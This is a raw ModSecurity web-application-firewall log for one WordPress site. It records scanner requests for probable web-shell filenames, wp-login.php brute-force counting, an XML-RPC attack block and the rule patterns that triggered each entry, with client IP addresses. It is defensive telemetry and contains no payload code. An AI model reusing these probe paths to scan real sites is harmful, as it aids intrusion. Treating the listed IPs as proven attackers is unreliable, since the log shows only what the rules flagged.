[Thu Feb 26 23:17:56.983871 2026] [:error] [pid 25311:tid 25329] [client 20.220.189.106:34685] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaBkJNfdM__yZAgJFSv1HgAAAY8"]
[Thu Feb 26 23:17:57.398948 2026] [:error] [pid 44444:tid 44464] [client 20.220.189.106:34653] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/un.php"] [unique_id "aaBkJW2sMNmj-yekUk10RAAAAg4"]
[Thu Feb 26 23:17:57.824161 2026] [:error] [pid 44444:tid 44457] [client 20.220.189.106:34779] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaBkJW2sMNmj-yekUk10SQAAAgc"]
[Thu Feb 26 23:17:58.234757 2026] [:error] [pid 44444:tid 44458] [client 20.220.189.106:34721] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaBkJm2sMNmj-yekUk10SwAAAgg"]
[Thu Feb 26 23:17:58.655686 2026] [:error] [pid 25311:tid 25324] [client 20.220.189.106:34630] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaBkJtfdM__yZAgJFSv1HwAAAYo"]
[Thu Feb 26 23:17:59.066944 2026] [:error] [pid 55051:tid 55061] [client 20.220.189.106:34781] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/erty.php"] [unique_id "aaBkJwmK1w2kZvh5eLHqdwAAAIc"]
[Thu Feb 26 23:17:59.482845 2026] [:error] [pid 55051:tid 55067] [client 20.220.189.106:34806] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaBkJwmK1w2kZvh5eLHqfAAAAI0"]
[Thu Feb 26 23:17:59.897689 2026] [:error] [pid 55051:tid 55056] [client 20.220.189.106:34740] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaBkJwmK1w2kZvh5eLHqfwAAAII"]
[Thu Feb 26 23:18:00.329934 2026] [:error] [pid 44444:tid 44467] [client 20.220.189.106:34798] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaBkKG2sMNmj-yekUk10UAAAAhE"]
[Thu Feb 26 23:18:00.763223 2026] [:error] [pid 44444:tid 44462] [client 20.220.189.106:34690] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fot.php"] [unique_id "aaBkKG2sMNmj-yekUk10VAAAAgw"]
[Thu Feb 26 23:20:07.500427 2026] [:error] [pid 55051:tid 55057] [client 167.71.32.67:37818] [client 167.71.32.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.32.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaBkpwmK1w2kZvh5eLHrqAAAAIM"]
[Thu Feb 26 23:41:55.437439 2026] [:error] [pid 44444:tid 44461] [client 2.58.56.91:49657] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aaBpw22sMNmj-yekUk2DOwAAAgs"]
[Thu Feb 26 23:41:55.939309 2026] [:error] [pid 44444:tid 44470] [client 2.58.56.91:52210] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aaBpw22sMNmj-yekUk2DPQAAAhQ"]
[Thu Feb 26 23:41:56.444854 2026] [:error] [pid 44444:tid 44469] [client 2.58.56.91:53820] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aaBpxG2sMNmj-yekUk2DQAAAAhM"]
[Thu Feb 26 23:41:59.118960 2026] [:error] [pid 44444:tid 44466] [client 2.58.56.91:59891] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aaBpx22sMNmj-yekUk2DQwAAAhA"]
[Thu Feb 26 23:55:58.083336 2026] [:error] [pid 54991:tid 55032] [client 43.164.197.209:57216] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaBtDt4Zx-mJ8gbRB2gf1gAAAEw"]
[Fri Feb 27 00:08:46.923769 2026] [:error] [pid 20419:tid 20425] [client 96.126.107.150:45360] [client 96.126.107.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 96.126.107.150, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaBwDu3DVDvMfTYYUBWFEQAAAcM"]
[Fri Feb 27 00:11:55.096847 2026] [:error] [pid 25311:tid 25336] [client 134.122.21.213:43812] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.21.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaBwy9fdM__yZAgJFSv-IgAAAZY"]
[Fri Feb 27 00:52:41.945254 2026] [:error] [pid 20059:tid 20115] [client 20.151.107.14:41034] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaB6WZZBS5wIa_Nsqsjk2AAAAc0"]
[Fri Feb 27 00:52:43.242251 2026] [:error] [pid 20059:tid 20124] [client 20.151.107.14:41251] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaB6W5ZBS5wIa_Nsqsjk3gAAAdY"]
[Fri Feb 27 00:52:44.863372 2026] [:error] [pid 18818:tid 18907] [client 20.151.107.14:41275] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaB6XBhPgqk2SeS_W823MwAAABc"]
[Fri Feb 27 00:52:46.323066 2026] [:error] [pid 20059:tid 20121] [client 20.151.107.14:41258] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaB6XpZBS5wIa_Nsqsjk9QAAAdM"]
[Fri Feb 27 00:54:28.296883 2026] [:error] [pid 18831:tid 18921] [client 159.223.226.118:49616] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.226.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaB6xP5KHTHUIuWRG2a8zAAAAEg"]
[Fri Feb 27 01:04:32.374812 2026] [:error] [pid 20059:tid 20115] [client 196.27.114.137:36752] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.27.114.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaB9IJZBS5wIa_NsqsjumQAAAc0"]
[Fri Feb 27 01:06:16.789880 2026] [:error] [pid 20059:tid 20109] [client 45.157.54.16:54377] [client 45.157.54.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.157.54.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaB9iJZBS5wIa_NsqsjwdQAAAcc"]
[Fri Feb 27 01:06:16.794422 2026] [:error] [pid 20059:tid 20109] [client 45.157.54.16:54377] [client 45.157.54.16] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 45.157.54.16 (+1 hits since last alert)|vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaB9iJZBS5wIa_NsqsjwdQAAAcc"]
[Fri Feb 27 01:06:16.880511 2026] [:error] [pid 20059:tid 20104] [client 45.157.54.16:57820] [client 45.157.54.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.157.54.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaB9iJZBS5wIa_NsqsjwdgAAAcI"]
[Fri Feb 27 01:25:03.042793 2026] [:error] [pid 18818:tid 18899] [client 74.208.194.58:43992] [client 74.208.194.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.194.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaCB7xhPgqk2SeS_W82-TAAAAA8"]
[Fri Feb 27 01:27:40.894248 2026] [:error] [pid 19020:tid 19040] [client 43.138.68.113:35878] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaCCjLN3kp7wL6QzPnUeGwAAAVI"]
[Fri Feb 27 01:42:35.446153 2026] [:error] [pid 19020:tid 19033] [client 54.38.208.175:47248] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.208.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaCGC7N3kp7wL6QzPnUl0gAAAUs"]
[Fri Feb 27 01:49:18.413683 2026] [:error] [pid 18831:tid 18937] [client 107.172.134.18:35692] [client 107.172.134.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.172.134.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaCHnv5KHTHUIuWRG2bOTwAAAFg"]
[Fri Feb 27 02:19:39.537699 2026] [:error] [pid 19020:tid 19027] [client 23.239.25.95:50684] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.239.25.95, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaCOu7N3kp7wL6QzPnU84QAAAUU"]
[Fri Feb 27 02:50:02.230270 2026] [:error] [pid 19020:tid 19034] [client 20.48.148.227:2019] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaCV2rN3kp7wL6QzPnVOiwAAAUw"]
[Fri Feb 27 02:50:02.691106 2026] [:error] [pid 18831:tid 18914] [client 20.48.148.227:1926] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaCV2v5KHTHUIuWRG2bf7gAAAEE"]
[Fri Feb 27 02:50:03.149490 2026] [:error] [pid 19020:tid 19022] [client 20.48.148.227:2015] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaCV27N3kp7wL6QzPnVOjAAAAUA"]
[Fri Feb 27 02:50:03.660733 2026] [:error] [pid 19020:tid 19036] [client 20.48.148.227:2044] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaCV27N3kp7wL6QzPnVOjQAAAU4"]
[Fri Feb 27 02:50:04.089559 2026] [:error] [pid 19020:tid 19043] [client 20.48.148.227:2009] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aaCV3LN3kp7wL6QzPnVOjwAAAVU"]
[Fri Feb 27 02:50:04.503313 2026] [:error] [pid 18843:tid 18963] [client 20.48.148.227:2006] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aaCV3CuD2bhSYSowPs0b2QAAARc"]
[Fri Feb 27 02:50:04.925361 2026] [:error] [pid 19020:tid 19039] [client 20.48.148.227:1939] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aaCV3LN3kp7wL6QzPnVOkAAAAVE"]
[Fri Feb 27 02:50:05.341267 2026] [:error] [pid 18831:tid 18921] [client 20.48.148.227:1999] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aaCV3f5KHTHUIuWRG2bf8QAAAEg"]
[Fri Feb 27 02:50:05.754039 2026] [:error] [pid 20059:tid 20118] [client 20.48.148.227:1986] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaCV3ZZBS5wIa_NsqshKfQAAAdA"]
[Fri Feb 27 02:50:06.167082 2026] [:error] [pid 20059:tid 20112] [client 20.48.148.227:2023] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaCV3pZBS5wIa_NsqshKfwAAAco"]
[Fri Feb 27 02:50:06.583705 2026] [:error] [pid 20059:tid 20123] [client 20.48.148.227:2042] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaCV3pZBS5wIa_NsqshKgAAAAdU"]
[Fri Feb 27 02:50:07.038202 2026] [:error] [pid 20059:tid 20104] [client 20.48.148.227:1931] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aaCV35ZBS5wIa_NsqshKgwAAAcI"]
[Fri Feb 27 02:50:07.492656 2026] [:error] [pid 18831:tid 18917] [client 20.48.148.227:1988] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aaCV3_5KHTHUIuWRG2bf8wAAAEQ"]
[Fri Feb 27 02:50:07.935792 2026] [:error] [pid 18831:tid 18915] [client 20.48.148.227:2034] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aaCV3_5KHTHUIuWRG2bf9QAAAEI"]
[Fri Feb 27 02:50:08.368343 2026] [:error] [pid 18843:tid 18945] [client 20.48.148.227:2033] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aaCV4CuD2bhSYSowPs0b2wAAAQU"]
[Fri Feb 27 02:50:08.920586 2026] [:error] [pid 20059:tid 20120] [client 20.48.148.227:2011] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aaCV4JZBS5wIa_NsqshKhwAAAdI"]
[Fri Feb 27 02:50:09.386294 2026] [:error] [pid 18843:tid 18947] [client 20.48.148.227:2001] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaCV4SuD2bhSYSowPs0b3AAAAQc"]
[Fri Feb 27 02:50:09.828594 2026] [:error] [pid 20059:tid 20119] [client 20.48.148.227:1932] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaCV4ZZBS5wIa_NsqshKigAAAdE"]
[Fri Feb 27 02:50:10.325733 2026] [:error] [pid 19020:tid 19042] [client 20.48.148.227:1945] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaCV4rN3kp7wL6QzPnVOkQAAAVQ"]
[Fri Feb 27 02:50:10.747765 2026] [:error] [pid 20059:tid 20114] [client 20.48.148.227:1985] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaCV4pZBS5wIa_NsqshKjgAAAcw"]
[Fri Feb 27 02:50:11.162159 2026] [:error] [pid 20059:tid 20102] [client 20.48.148.227:2017] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aaCV45ZBS5wIa_NsqshKkAAAAcA"]
[Fri Feb 27 02:50:11.606222 2026] [:error] [pid 19020:tid 19044] [client 20.48.148.227:1975] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aaCV47N3kp7wL6QzPnVOkgAAAVY"]
[Fri Feb 27 02:50:12.031789 2026] [:error] [pid 19020:tid 19035] [client 20.48.148.227:2004] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aaCV5LN3kp7wL6QzPnVOlAAAAU0"]
